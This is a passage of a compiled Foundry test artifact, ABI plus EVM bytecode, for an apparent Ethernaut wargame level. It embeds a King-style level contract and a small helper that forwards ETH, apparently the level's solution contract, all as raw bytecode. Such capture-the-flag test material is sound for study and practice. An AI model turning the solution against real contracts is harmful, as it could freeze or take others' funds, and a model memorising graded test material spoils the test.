payable[]"}],"stateMutability":"nonpayable"},{"type":"function","name":"excludeArtifacts","inputs":[],"outputs":[{"name":"excludedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"excludeContracts","inputs":[],"outputs":[{"name":"excludedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"excludeSenders","inputs":[],"outputs":[{"name":"excludedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"failed","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"getEthernautWithStatsProxy","inputs":[{"name":"owner","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"contract Ethernaut"}],"stateMutability":"nonpayable"},{"type":"function","name":"getNextUserAddress","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address payable"}],"stateMutability":"nonpayable"},{"type":"function","name":"getOldFactory","inputs":[{"name":"contractName","type":"string","internalType":"string"}],"outputs":[{"name":"addr","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"mineBlocks","inputs":[{"name":"numBlocks","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"setUp","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"submitLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"instance","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"targetArtifactSelectors","inputs":[],"outputs":[{"name":"targetedArtifactSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetArtifacts","inputs":[],"outputs":[{"name":"targetedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"targetContracts","inputs":[],"outputs":[{"name":"targetedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"targetInterfaces","inputs":[],"outputs":[{"name":"targetedInterfaces_","type":"tuple[]","internalType":"struct StdInvariant.FuzzInterface[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"artifacts","type":"string[]","internalType":"string[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSelectors","inputs":[],"outputs":[{"name":"targetedSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSenders","inputs":[],"outputs":[{"name":"targetedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"testInit","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"testSolve","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"log","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_address","inputs":[{"name":"","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_bytes","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_bytes32","inputs":[{"name":"","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_int","inputs":[{"name":"","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_address","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_named_bytes","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_named_bytes32","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_named_decimal_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_decimal_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_string","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_named_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_string","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_uint","inputs":[{"name":"","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"logs","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false}],"bytecode":{"object":"0x600c8054600160ff1991821681178355601e80549092161790556b75736572206164647265737360a01b60a05260805260ac6040527ffadd6953a0436e85528ded789af2e2b7e57c1cd7c68c5c3796d8ea67e0018db7601f55348015610063575f80fd5b5061637f806100715f395ff3fe608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001b38565b62000806565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009d0565b604051620001c7919062001b7b565b620001b3620001fa36600462001c67565b62000a32565b6200020a62000bfd565b604051620001c7919062001d3a565b620001da62000d45565b620001da62000da5565b6200023762000e05565b604051620001c7919062001dfd565b620001da6200025736600462001eca565b62000eff565b6200019a6200108f565b62000271620011d5565b604051620001c7919062001ee2565b620001b36200029136600462001f48565b620012aa565b62000237620013c9565b620002b8620002b236600462001f66565b620014c3565b6040519015158152602001620001c7565b6200027162001653565b6200019a62001728565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b8620017c1565b620001da62001895565b6200019a6200032f36600462001eca565b620018f5565b601e54620002b89060ff1681565b5f62000350600262000eff565b9050805f8151811062000367576200036762001fa2565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b505050508060018151811062000449576200044962001fa2565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b03169050620012aa565b6020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169190911790556040515f90620005d89062001add565b604051809103905ff080158015620005f2573d5f803e3d5ffd5b506020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000653575f80fd5b505af115801562000666573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006c5575f80fd5b505af1158015620006d8573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000733575f80fd5b505af115801562000746573d5f803e3d5ffd5b50506020546200076b92506001600160a01b031690508266038d7ea4c6800062000806565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007eb575f80fd5b505af1158015620007fe573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562000862575f80fd5b505af115801562000875573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008d5575f80fd5b505af1158015620008e8573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af11580156200094d573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000976919081019062002043565b90508060018251620009899190620021d3565b815181106200099c576200099c62001fa2565b60200260200101515f0151600281518110620009bc57620009bc62001fa2565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a09575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000a92573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000abb9190810190620021e9565b90505f81848560405160200162000ad49291906200223b565b60408051601f198184030181529082905262000af49291602001620022e9565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b589085906004016200231b565b5f60405180830381865afa15801562000b73573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000b9c9190810190620021e9565b90505f62000be96040518060400160405280601081526020017f2e62797465636f64652e6f626a65637400000000000000000000000000000000815250836200196990919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d24578382905f5260205f2001805462000c92906200232f565b80601f016020809104026020016040519081016040528092919081815260200182805462000cc0906200232f565b801562000d0f5780601f1062000ce55761010080835404028352916020019162000d0f565b820191905f5260205f20905b81548152906001019060200180831162000cf157829003601f168201915b50505050508152602001906001019062000c72565b50505050815250508152602001906001019062000c20565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000ee657602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000e925790505b5050505050815250508152602001906001019062000e28565b60605f8267ffffffffffffffff81111562000f1e5762000f1e62001bc9565b60405190808252806020026020018201604052801562000f48578160200160208202803683370190505b5090505f5b8381101562001088575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f95573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fbb919062002369565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001039575f80fd5b505af11580156200104c573d5f803e3d5ffd5b505050508083838151811062001066576200106662001fa2565b6001600160a01b03909216602092830291909101909101525060010162000f4d565b5092915050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620010e6575f80fd5b505af1158015620010f9573d5f803e3d5ffd5b505050505f6040516200110c9062001aeb565b604051809103905ff08015801562001126573d5f803e3d5ffd5b506021546040517fde98b9920000000000000000000000000000000000000000000000000000000081526001600160a01b03918216600482015291925082169063de98b99290671be4f459be890000906024015f604051808303818588803b15801562001191575f80fd5b505af1158015620011a4573d5f803e3d5ffd5b5050602054602154620011d29450620011cc93506001600160a01b03918216925016620014c3565b62001a0b565b50565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c578382905f5260205f2001805462001218906200232f565b80601f016020809104026020016040519081016040528092919081815260200182805462001246906200232f565b8015620012955780601f106200126b5761010080835404028352916020019162001295565b820191905f5260205f20905b8154815290600101906020018083116200127757829003601f168201915b505050505081526020019060010190620011f8565b5f80604051620012ba9062001af9565b604051809103905ff080158015620012d4573d5f803e3d5ffd5b5090505f604051620012e69062001b07565b604051809103905ff08015801562001300573d5f803e3d5ffd5b508483604051620013119062001b15565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff0801580156200134b573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b158015620013aa575f80fd5b505af1158015620013bd573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f8481526020908190206040805180820182526002860290920180546001600160a01b03168352600181018054835181870281018701909452808452939491938583019392830182828015620014aa57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020019060040190602082600301049283019260010382029150808411620014565790505b50505050508152505081526020019060010190620013ec565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200151f575f80fd5b505af115801562001532573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b15801562001590575f80fd5b505af1158015620015a3573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562001607573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001630919081019062002043565b9050600181511115620016485760019150506200164d565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c578382905f5260205f2001805462001696906200232f565b80601f0160208091040260200160405190810160405280929190818152602001828054620016c4906200232f565b8015620017135780601f10620016e95761010080835404028352916020019162001713565b820191905f5260205f20905b815481529060010190602001808311620016f557829003601f168201915b50505050508152602001906001019062001676565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b1580156200177f575f80fd5b505af115801562001792573d5f803e3d5ffd5b5050602054602154620017bf9350620017b992506001600160a01b039182169116620014c3565b62001a8a565b565b6008545f9060ff1615620017d9575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa15801562001868573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200188e919062002387565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b5f6200190282436200239f565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007eb575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be890620019c09086908690600401620023b5565b5f60405180830381865afa158015620019db573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001a049190810190620023e6565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001a70575f80fd5b505afa15801562001a83573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001a59565b610700806200241d83390190565b6101248062002b1d83390190565b610ae58062002c4183390190565b611e7a806200372683390190565b610daa80620055a083390190565b6001600160a01b0381168114620011d2575f80fd5b5f805f6060848603121562001b4b575f80fd5b833562001b588162001b23565b9250602084013562001b6a8162001b23565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001bbd5783516001600160a01b03168352928401929184019160010162001b96565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001c035762001c0362001bc9565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001c355762001c3562001bc9565b604052919050565b5f67ffffffffffffffff82111562001c595762001c5962001bc9565b50601f01601f191660200190565b5f6020828403121562001c78575f80fd5b813567ffffffffffffffff81111562001c8f575f80fd5b8201601f8101841362001ca0575f80fd5b803562001cb762001cb18262001c3d565b62001c09565b81815285602083850101111562001ccc575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001d0557818101518382015260200162001ceb565b50505f910152565b5f815180845262001d2681602086016020860162001ce9565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001dee57603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001dd757605f1988850301835262001dc484865162001d0d565b948d01949350918c019160010162001da5565b505050968901969350509087019060010162001d5f565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001ebc57888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001ea65783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001e62565b5096890196945050509086019060010162001e24565b509098975050505050505050565b5f6020828403121562001edb575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b8281101562001f3b57603f1988860301845262001f2885835162001d0d565b9450928501929085019060010162001f09565b5092979650505050505050565b5f6020828403121562001f59575f80fd5b813562001a048162001b23565b5f806040838503121562001f78575f80fd5b823562001f858162001b23565b9150602083013562001f978162001b23565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff82111562001fd25762001fd262001bc9565b5060051b60200190565b5f62001fec62001cb18462001c3d565b905082815283838301111562002000575f80fd5b62001a0483602083018462001ce9565b5f82601f83011262002020575f80fd5b62001a048383516020850162001fdc565b80516200203e8162001b23565b919050565b5f602080838503121562002055575f80fd5b825167ffffffffffffffff808211156200206d575f80fd5b818501915085601f83011262002081575f80fd5b81516200209262001cb18262001fb6565b81815260059190911b83018401908481019088831115620020b1575f80fd5b8585015b83811015620021b257805185811115620020cd575f80fd5b86016060818c03601f19011215620020e3575f80fd5b620020ed62001bdd565b8882015187811115620020fe575f80fd5b8201603f81018d136200210f575f80fd5b898101516200212262001cb18262001fb6565b81815260059190911b8201604001908b8101908f83111562002142575f80fd5b6040840193505b82841015620021645783518252928c0192908c019062002149565b84525050506040820151878111156200217b575f80fd5b6200218b8d8b8386010162002010565b8a830152506200219e6060830162002031565b6040820152845250918601918601620020b5565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156200164d576200164d620021bf565b5f60208284031215620021fa575f80fd5b815167ffffffffffffffff81111562002211575f80fd5b8201601f8101841362002222575f80fd5b620022338482516020840162001fdc565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f83516200227481600585016020880162001ce9565b7f2e736f6c2f0000000000000000000000000000000000000000000000000000006005918401918201528351620022b381600a84016020880162001ce9565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f8351620022fc81846020880162001ce9565b8351908301906200231281836020880162001ce9565b01949350505050565b602081525f62001a04602083018462001d0d565b600181811c908216806200234457607f821691505b6020821081036200236357634e487b7160e01b5f52602260045260245ffd5b50919050565b5f602082840312156200237a575f80fd5b815162001a048162001b23565b5f6020828403121562002398575f80fd5b5051919050565b808201808211156200164d576200164d620021bf565b604081525f620023c9604083018562001d0d565b8281036020840152620023dd818562001d0d565b95945050505050565b5f60208284031215620023f7575f80fd5b815167ffffffffffffffff8111156200240e575f80fd5b62002233848285016200201056fe608060405266038d7ea4c6800060015534801561001a575f80fd5b5061002433610029565b610078565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61067b806100855f395ff3fe608060405260043610610066575f3560e01c806390696af91161004157806390696af9146100d3578063d38def5b146100f6578063f2fde38b14610125575f80fd5b8063715018a6146100715780637726f776146100875780638da5cb5b146100b7575f80fd5b3661006d57005b5f80fd5b34801561007c575f80fd5b50610085610144565b005b61009a610095366004610422565b610157565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100c2575f80fd5b505f546001600160a01b031661009a565b3480156100de575f80fd5b506100e860015481565b6040519081526020016100ae565b348015610101575f80fd5b50610115610110366004610444565b6101de565b60405190151581526020016100ae565b348015610130575f80fd5b5061008561013f366004610422565b6102b1565b61014c610341565b6101555f61039a565b565b5f6001543410156101af5760405162461bcd60e51b815260206004820152601c60248201527f4d7573742073656e64206174206c6561737420302e303031204554480000000060448201526064015b60405180910390fd5b346040516101bc90610401565b6040518091039082f09050801580156101d7573d5f803e3d5ffd5b5092915050565b6040515f90839082906001600160a01b0383169082908181818181875af1925050503d805f811461022a576040519150601f19603f3d011682016040523d82523d5f602084013e61022f565b606091505b50509050306001600160a01b0316826001600160a01b03166329cc6d6f6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610279573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061029d919061047b565b6001600160a01b0316141595945050505050565b6102b9610341565b6001600160a01b0381166103355760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016101a6565b61033e8161039a565b50565b5f546001600160a01b031633146101555760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016101a6565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6101af8061049783390190565b6001600160a01b038116811461033e575f80fd5b5f60208284031215610432575f80fd5b813561043d8161040e565b9392505050565b5f8060408385031215610455575f80fd5b82356104608161040e565b915060208301356104708161040e565b809150509250929050565b5f6020828403121561048b575f80fd5b815161043d8161040e56fe6080604052600280546001600160a01b0319908116339081179092555f8054909116909117905534600155610178806100375f395ff3fe608060405260043610610036575f3560e01c806329cc6d6f146100cb5780638da5cb5b14610100578063e3ac5d261461011f575f80fd5b366100c7576001543410158061005657506002546001600160a01b031633145b61005e575f80fd5b5f80546040516001600160a01b03909116913480156108fc02929091818181858888f19350505050158015610095573d5f803e3d5ffd5b505f80547fffffffffffffffffffffffff00000000000000000000000000000000000000001633179055346001819055005b5f80fd5b3480156100d6575f80fd5b505f546001600160a01b03165b6040516001600160a01b0390911681526020015b60405180910390f35b34801561010b575f80fd5b506002546100e3906001600160a01b031681565b34801561012a575f80fd5b5061013460015481565b6040519081526020016100f756fea2646970667358221220a6f44ad3ceb864e9789ad85621d452c5eb4ca2398ce14d62b98e9bf9c97e3b5864736f6c63430008180033a26469706673582212204ef9b8b2996cf7680dcb2945afe60c656d721675c4d1bab26f5a56982a186e6264736f6c63430008180033608060405234801561000f575f80fd5b506101078061001d5f395ff3fe608060405260043610601b575f3560e01c8063de98b99214601f575b5f80fd5b602e602a3660046099565b6030565b005b5f8173ffffffffffffffffffffffffffffffffffffffff16346040515f6040518083038185875af1925050503d805f81146084576040519150601f19603f3d011682016040523d82523d5f602084013e6089565b606091505b50509050806095575f80fd5b5050565b5f6020828403121560a8575f80fd5b813573ffffffffffffffffffffffffffffffffffffffff8116811460ca575f80fd5b939250505056fea2646970667358221220bc8ab1747f14347b2d149b6123b0fee20b24a01cb65c14b8bf71dd7842acc21a64736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803